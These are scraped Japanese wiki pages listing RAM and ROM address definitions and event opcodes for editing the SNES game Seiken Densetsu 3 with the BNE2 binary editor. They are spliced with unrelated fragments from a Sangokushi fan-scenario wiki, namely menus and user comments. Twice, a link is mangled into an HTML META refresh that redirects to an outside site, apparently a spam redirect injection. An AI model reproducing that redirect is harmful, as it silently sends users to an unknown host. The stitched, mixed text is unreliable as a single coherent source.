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BNE2用 SFC聖剣伝説3 RAM設定集 SNESGT/ZSNESのステートセーブ編集用 左側が*.iniの記述、IDNとあるのは*.idnの記述です イベントフラグ.ini RAMイベントフラグ - SFC聖剣伝説3? IDN RAMイベントフラグID - SFC聖剣伝説3? キャラデータ.ini RAMキャラデータ - SFC聖剣伝説3? IDN RAMキャラデータID - SFC聖剣伝説3? キャラ名.ini RAMキャラ名 - SFC聖剣伝説3? IDN RAMキャラ名ID - SFC聖剣伝説3? 時刻など.ini RAM時刻など - SFC聖剣伝説3? IDN RAM時刻などID - SFC聖剣伝説3? 手持ち.ini RAM手持ち - SFC聖剣伝説3? IDN RAM手持ちID - SFC聖剣伝説3? モンスターデータ.ini RAMモンスターデータ - SFC聖剣伝説3? IDN RAMモンスターデータID - SFC聖剣伝説3? モンスターリスト.ini RAMモンスターリスト - SFC聖剣伝説3? IDN RAMモンスターリストID - SFC聖剣伝説3? 倉庫(アイテム).ini RAM倉庫(アイテム) - SFC聖剣伝説3? IDN RAM倉庫(アイテム)ID - SFC聖剣伝説3? 倉庫(武器).ini RAM倉庫(武器) - SFC聖剣伝説3? IDN RAM倉庫(武器)ID - SFC聖剣伝説3? 倉庫(防具).ini RAM倉庫(防具) - SFC聖剣伝説3? IDN RAM倉庫(防具)ID - SFC聖剣伝説3? アイテム.IDN アイテムID - SFC聖剣伝説3? モンスター.IDN RAMモンスターID - SFC聖剣伝説3? 武器.IDN 武器データID - SFC聖剣伝説3? 防具.IDN 防具データID - SFC聖剣伝説3? 魔法・技.IDN 魔法・技ID - SFC聖剣伝説3? 文字コード.IDN RAM文字コード - SFC聖剣伝説3? 文字コード簡略.IDN RAM文字コード簡略 - SFC聖剣伝説3? @wikiへ
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BNE2用 SFC聖剣伝説3 ROM設定集 左側が*.iniの記述、IDNとあるのは*.idnの記述です ROMヘッダ.ini ROMヘッダ - SFC聖剣伝説3 IDN ROMヘッダID - SFC聖剣伝説3 アイテム.ini アイテム - SFC聖剣伝説3 IDN アイテムID - SFC聖剣伝説3 初期ステータス.ini 初期ステータス - SFC聖剣伝説3 IDN 初期ステータスID - SFC聖剣伝説3 職業ステータス.ini 職業ステータス - SFC聖剣伝説3 IDN 職業ステータスID - SFC聖剣伝説3 職業習得魔法.ini 職業習得魔法 - SFC聖剣伝説3 IDN 職業習得魔法ID - SFC聖剣伝説3 効果範囲IDN 魔法効果範囲ID - SFC聖剣伝説3 必要ステータスIDN 魔法習得必要ステータスID - SFC聖剣伝説3 魔法・技.ini 魔法・技 - SFC聖剣伝説3 IDN 魔法・技ID - SFC聖剣伝説3 武器データ.ini 武器データ - SFC聖剣伝説3 IDN 武器データID - SFC聖剣伝説3 防具データ.ini 防具データ - SFC聖剣伝説3 IDN 防具データID - SFC聖剣伝説3 必要経験値?.ini 必要経験値 - SFC聖剣伝説3 IDN 必要経験値ID - SFC聖剣伝説3 雑魚モンスター.ini 雑魚モンスター - SFC聖剣伝説3 IDN 雑魚モンスターID - SFC聖剣伝説3 獲得EXP倍率IDN 獲得EXP倍率ID - SFC聖剣伝説3 ST倍率IDN ST倍率ID - SFC聖剣伝説3 獲得金額倍率IDN 獲得金額倍率ID - SFC聖剣伝説3 敵成長.ini 敵成長 - SFC聖剣伝説3 IDN 敵成長ID - SFC聖剣伝説3 宝箱.ini 宝箱 - SFC聖剣伝説3 IDN 宝箱ID - SFC聖剣伝説3 ASCIIコード定義.IDN ASCIIコード定義 - SFC聖剣伝説3? @wikiへ
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//アドレス(h),セクション名,バイト数/ビット指定,ステップ(h),データ個数,進数表記,最小値(h)|最大値(h)/ビットフィルタ(h),セル幅,解説テキスト,IDNファイル/IDリスト 7EB0A0,?,,20,,16,,990,, 7EB0A1,不明,,20,,16,,990,, 7EB0A2,不明,,20,,16,,990,, 7EB0A3,キャラID?,,20,,10,,990,画面上のキャラで何番目か?、敵3~5?, 7EB0A4,モンスターID,2,20,,0,,2000,画面を切り替えないと、モンスターの姿は変わりません\nモンスターのHPなどのパラメータ格納場所はランダムで変わります,モンスター.idn 7EB0A6,?,,20,,16,,990,4F 出現、28 不在, 7EB0A7,敵Lv,,20,,10,,990,確定, 7EB0A8,状態?,,20,,16,,990,80 死、C0 生, 7EB0A9,?,,20,,16,,990,, 7EB0AA,?,,20,,16,,990,, 7EB0AB,?,,20,,16,,990,, 7EB0AC,?,,20,,16,,990,, 7EB0AD,?,,20,,16,,990,, 7EB0AE,?,,20,,16,,990,, 7EB0AF,?,,20,,16,,990,, 7EB0B0,?,,20,,16,,990,, 7EB0B1,?,,20,,16,,990,, [[@wikiへ http //kam.jp" META HTTP-EQUIV="Refresh" CONTENT="0; URL=http //esthe.pink.sh/r/]]
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■ メニュー ├ トップページ ├ what's三国志喪伝 ├ 人物列伝壱 喪国の英雄編 ├ 人物列伝弐 他国の武将編 └ 喪国年表
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-三国志検定 ○× 四択 連想 並び替え 四文字言葉 スロット タイピング ビジュアル 線結び 一問多答 順番当て
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BNE2用 SFC聖剣伝説3 ROM設定集 左側が*.iniの記述、IDNとあるのは*.idnの記述です ROMヘッダ.ini ROMヘッダ - SFC聖剣伝説3 IDN ROMヘッダID - SFC聖剣伝説3 アイテム.ini アイテム - SFC聖剣伝説3 IDN アイテムID - SFC聖剣伝説3 初期ステータス.ini 初期ステータス - SFC聖剣伝説3 IDN 初期ステータスID - SFC聖剣伝説3 職業ステータス.ini 職業ステータス - SFC聖剣伝説3 IDN 職業ステータスID - SFC聖剣伝説3 職業習得魔法.ini 職業習得魔法 - SFC聖剣伝説3 IDN 職業習得魔法ID - SFC聖剣伝説3 効果範囲IDN 魔法効果範囲ID - SFC聖剣伝説3 必要ステータスIDN 魔法習得必要ステータスID - SFC聖剣伝説3 魔法・技.ini 魔法・技 - SFC聖剣伝説3 IDN 魔法・技ID - SFC聖剣伝説3 武器データ.ini 武器データ - SFC聖剣伝説3 IDN 武器データID - SFC聖剣伝説3 防具データ.ini 防具データ - SFC聖剣伝説3 IDN 防具データID - SFC聖剣伝説3 必要経験値?.ini 必要経験値 - SFC聖剣伝説3 IDN 必要経験値ID - SFC聖剣伝説3 雑魚モンスター.ini 雑魚モンスター - SFC聖剣伝説3 IDN 雑魚モンスターID - SFC聖剣伝説3 獲得EXP倍率IDN 獲得EXP倍率ID - SFC聖剣伝説3 ST倍率IDN ST倍率ID - SFC聖剣伝説3 獲得金額倍率IDN 獲得金額倍率ID - SFC聖剣伝説3 敵成長.ini 敵成長 - SFC聖剣伝説3 IDN 敵成長ID - SFC聖剣伝説3 宝箱.ini 宝箱 - SFC聖剣伝説3 IDN 宝箱ID - SFC聖剣伝説3 ASCIIコード定義.IDN ASCIIコード定義 - SFC聖剣伝説3? 暫定版まとめファイル(Seiken3SET20061222.zip) http //www15.atwiki.jp/seiken_binary?cmd=upload act=open pageid=15 file=Seiken3SET20061222.zip? RAM用設定ファイル、文字コード表なども入ってます ※19/12/14 一部修正しました。 ※06/12/22 職業習得魔法を追加しました。
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「さんごくしなりお」と読むが、「さんごくしせいおう」でも間違いではないらしい。 しかもオリシナフォルダ名は聖王三国志となっているから更にややこしい。 シナリオは発表時点(ver0.1)で既に2本あるが、(作者自ら書いている通り)まだ作り始めたばかりで武将数が全然足りない。 -- 名無しさん (2010-10-17 05 22 06) なかなか良いと思う。 掛け合いイベントなどが充実するといいな。 -- 名無しさん (2010-10-17 05 47 40) 全体的に防御力が低いため、人材無双がなかなか難しい。 弓や、槍を何発受けても沈まないというのは、非現実であり、こちらのほうが、実際の戦争を再現しているといえるかもしれない。 また、諸葛亮のグラが死神だったり、三顧の礼が一顧の礼となっていたり、とうたくが召喚された悪魔だったりと、ネタ要素は豊富になりそうである。 今後に期待。 -- 名無しさん (2010-10-18 00 03 45) 郭図の肩書き『武力90』って、光栄三国志1作目のネタじゃないかw -- 名無しさん (2010-10-20 05 25 46) こういうシナリオを私はまっていた 期待 -- 名無しさん (2010-10-23 21 27 16) 0.15で武将は増えたが、『官渡の戦い』が消えた。 もっともっと武将が増えて『群雄割拠』が完成するまで、復活はなさそうだなorz -- 名無しさん (2010-10-26 04 51 18) 草原マップが多いため、騎兵ゲーになりやすいかも まあ実際の地理がそうなので三国志シナリオらしいとも言える -- 名無しさん (2010-10-26 23 14 20) 0.16三国鼎立で、呉にいるべき武将が在野にいるのには泣きたくなった。 (4人しかいない呉に、張昭1人増えてもあまり変わらないと言われればそれまでだけど) -- 名無しさん (2010-10-28 04 42 07) 0.17で読みが「さんごくしせいおう」に統一。 -- 名無しさん (2010-11-09 02 02 41) 王朗の列伝では孫権にいるはずが何故か曹操についている。 実際の歴史上は曹操なんだがOP見ると軍師とセットじゃないとなぁ・・。 -- 名無しさん (2010-11-09 07 52 46) 北宮たまという名前のベアトリクス似の武将が気になっていたのでぐぐったら、羌族の首領北宮伯玉が出てきてびびった。 なお、0.19では必殺技テスト武将としてオルステッドが追加されている。 -- 名無しさん (2010-11-13 14 49 50) 人材プレイでも内政があって、自身や部下の能力をあげるアイテム(リーダースキルなどを習得する)を買ったり出来るのが素敵。 出陣して金を稼ぐのが待ち遠しくなって、全然出番が無いと忠誠が下がっていくNPCたちの気持ちがよくわかる。 -- 名無しさん (2011-01-09 14 11 00) 三国志系だがいろいろとネタを仕込んだコミカルなシナリオ。特筆すべきはイベントスクリプトが秀逸でより人材プレイが楽しめるようになっている。 現在は残念ながら更新停止してしまった。しかし今後は別のシナリオを製作するようでそちらに期待 -- 名無しさん (2011-01-11 16 21 50) わざわざ消す必要あったのか素晴らしいシナリオだったのに -- 名無しさん (2021-08-18 03 28 52) なにこへぇ -- 名無しさん (2021-11-12 16 11 32) 意外と少ない三国志 -- 名無しさん (2023-05-23 18 33 11) 成王って王がいるのかと思ったが、三国志シナリオを漢字にしたのか! -- 名無しさん (2023-07-08 02 33 46) 名前 コメント
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イベント ROMアドレス RAMアドレス 内容 C8792-C87B2 998792-9987B2 イベントデータを7E3300-に展開し、7E375Aにコピー C8A5D-C8C70 998A5D-998C70 各イベントコードの分岐アドレスリスト(2バイト) 20CD80- C1CD80- イベントデータアドレスリスト(3バイト) -- E3 実行中のイベントコードポインタ -- 7E3306 実行中のイベントコードポインタ イベントコード詳細 00 イベント終了 05 LL MM 06 09 LL 0A ?? 10 ふきだしを閉じる 11 ふきだしを閉じる 16 上部のふきだしを閉じる 17 下部のふきだしを閉じる 1D LL ふきだしに表示される顔グラフィックを顔グラID LLに 2C LL MM NN キャラID NNがセリフMMLLを上部に表示、セリフ終了後ふきだしを閉じる 2D LL MM NN キャラID NNがセリフMMLLを下部に表示、セリフ終了後ふきだしを閉じる 32 LL MM NN OO キャラLLが座標MM.NNに時間OOで移動 34 37 LL MM 時間MMLL待機 38 LL 時間LLで画面を徐々に明るく 39 LL 時間LLで画面を徐々に暗く 3A LL MM 座標LL.MMを経由する。(この前だか後だかに移動命令がくる) 3C LL 3D LL MM キャラLLがMMを向く 43 LL ふきだしの高さを調節する 45 46 47 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 49 51 ?? ?? 画面移動? 53 54 移動命令が終了するまで待つ 57 LL MM キャラLL解説? 58 LL MM NN OO PP QQ 座標MMLL.OONNへ時間QQPPで視点移動 5A LL MM キャラLLへ時間MMで視点移動 5B LL MM NN キャラLLが向きMMに武器NNを振りかぶる? 5C LL MM NN キャラLLがタイミングMMでくらいポーズ? 63 ?? ?? ?? ?? 65 ?? MM MM BGM_ID 65 LL 曲番号LL? 69 LL 効果音、曲設定いろいろ? 6A ?? ?? 6E LL 効果音LL 6F ?? ?? 70 LL MM NN OO キャラLLが座標MM.NNへ速度OOで歩く 71 LL 72 LL MM LL 対象ID MM キャラの向き 73 ?? ?? ?? ?? ?? ?? ?? 73 LL キャラID LLを消す 74 ?? ?? ?? ?? ?? セリフ? 74 LL MM NN OO キャラID LLを座標MM.NNへ向きOOでテレポート 79 ?? ?? ?? OO OO 魔法ID 7A ?? ?? ?? 7C ?? ?? ?? ?? ?? 80 LL MM キャラID LLの描画優先順位MM 82 LL MM グラフィックバンクLL? 8E ?? 8F LL キャラID LL歩きモーション 91 LL MM NN OO キャラID LLが座標MM.NNへ時間OOで移動 92 9C 全体停止モーション 9D LL MM キャラLLがいたらモーションMM 9E LL MM キャラID LLがいたらモーションMM A8 LL 時間LL待つ A9 AA AB AC AD AD LL キャラ00がモーションLL AE AE LL キャラ01がモーションLL B0 LL MM キャラ00がセリフMMLLを上部のふきだしに B1 LL MM キャラ00がセリフMMLLを下部のふきだしに B2 LL MM キャラ01がセリフMMLLを上部のふきだしに B3 LL MM キャラ01がセリフMMLLを下部のふきだしに B4 LL MM 兵士がセリフMMLLを上部のふきだしに B5 LL MM 兵士がセリフMMLLを下部のふきだしに B6 LL MM NN キャラID NNがセリフMMLLを下部のふきだしに B7 LL MM NN キャラID NNがセリフMMLLを下部のふきだしに B8 LL MM NN 顔グラID NNでセリフMMLLを下部のふきだしに B9 LL MM NN 顔グラID NNでセリフMMLLを下部のふきだしに BA LL MM 顔セリフMMLLを下部の既存ふきだしに BB LL MM セリフMMLLを下部の既存ふきだしに BC~BF LL MM セリフMMLL? C0~CA LL MM セリフMMLL セリフ終了後ふきだしを閉じる? E0 ?? ?? E1 待つ E4 E5 E9 LL 移動前に時間LL待つ ED ?? イベントコード解析方法 998A5Aにexeでブレイクポイントを仕掛ける 適当にマップ移動してイベントを起こす 引っ掛かった時のXレジスタの値÷2が先頭のイベントコードとなる。 7E375A-に展開されているイベントコードと そのアドレスポインタであるE3の値を用いて Runを連打しながら各イベントコードのバイト長を計算する。
https://w.atwiki.jp/seiken_binary/pages/43.html
//アドレス(h),セクション名,バイト数/ビット指定,ステップ(h),データ個数,進数表記,最小値(h)|最大値(h)/ビットフィルタ(h),セル幅,解説テキスト,IDNファイル/IDリスト 7E2FFA,曜日,,,1,0,,1605,7日=1週間,0 マナの祝日|1 ルナの日|2 サラマンダーの日|3 ウンディーネの日|4 ドリアードの日|5 ジンの日|6 ノームの日 7E2FFB,時刻,,,1,0,,1200,15時の次は0時に戻る(16時間=1日)\n5時~12時が昼(ウィスプの刻)、13時~4時が夜(シェイドの刻),0 0時(シェイド)|1 1時(シェイド)|2 2時(シェイド)|3 3時(シェイド)|4 4時(シェイド)|5 5時(ウィスプ)|6 6時(ウィスプ)|7 7時(ウィスプ)|8 8時(ウィスプ)|9 9時(ウィスプ)|A 10時(ウィスプ)|B 11時(ウィスプ)|C 12時(ウィスプ)|D 13時(シェイド)|E 14時(シェイド)|F 15時(シェイド) 7E2FFC,分,,,1,10,,600,ゲーム内時刻(分) 31分の次は0分に戻る(32分=1時間), 7F00C6,プレイ時間,4,,1,10,,900,単位は1/60秒。数値を216000で割れば時間が出る, [[@wikiへ http //kam.jp" META HTTP-EQUIV="Refresh" CONTENT="0; URL=http //esthe.pink.sh/r/]]